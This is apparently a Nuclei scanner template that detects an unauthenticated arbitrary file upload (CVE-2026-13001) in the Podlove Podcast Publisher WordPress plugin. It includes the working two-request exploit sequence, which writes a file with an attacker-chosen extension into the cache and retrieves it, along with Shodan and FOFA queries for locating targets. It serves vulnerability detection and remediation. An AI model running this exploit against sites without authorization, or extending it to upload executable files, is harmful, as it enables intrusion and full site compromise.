id: CVE-2026-13001 info: name: Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload author: aryu-ru severity: critical description: | Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension. impact: | An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible. remediation: | Update Podlove Podcast Publisher to version 4.5.2 or later. reference: - https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387 - https://www.wordfence.com/threat-intel/vulnerabilities/id/f81a3429-f378-4295-adbe-ad6f1df59701?source=cve - https://github.com/advisories/GHSA-7gcx-p8g5-3g9x - https://plugins.trac.wordpress.org/changeset/3597461/podlove-podcasting-plugin-for-wordpress - https://nvd.nist.gov/vuln/detail/CVE-2026-13001 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-13001 epss-score: 0.03757 epss-percentile: 0.89895 cwe-id: CWE-20 metadata: verified: true max-request: 2 vendor: podlove product: podlove-podcasting-plugin-for-wordpress framework: wordpress shodan-query: http.html:"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress" fofa-query: body="/wp-content/plugins/podlove-podcasting-plugin-for-wordpress" tags: cve,cve2026,wordpress,wp,wp-plugin,podlove,file-upload,intrusive variables: rnd: "{{randstr}}" marker: "{{to_lower(rnd)}}" source: "{{RootURL}}/{{marker}}.txt?/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/images/logo/podlove-publisher-icon-500.png" cid: "{{md5(concat(source,marker))}}" http: - raw: - | GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(hex_encode(body_2), "89504e470d0a1a0a")' - 'contains(header_2, "text/plain")' - 'status_code_2 == 200' condition: and # digest: 4b0a00483046022100cb41e4e5c78112c632803d23ea08d7ff503b8657160f699c7b0123b6b4e224e4022100dcff6f0b3c45ac2bf4dd3a574df085ff9c074db5fe5fa369ec11a9fa33a606be:922c64590222798bb761d5b6d8e72950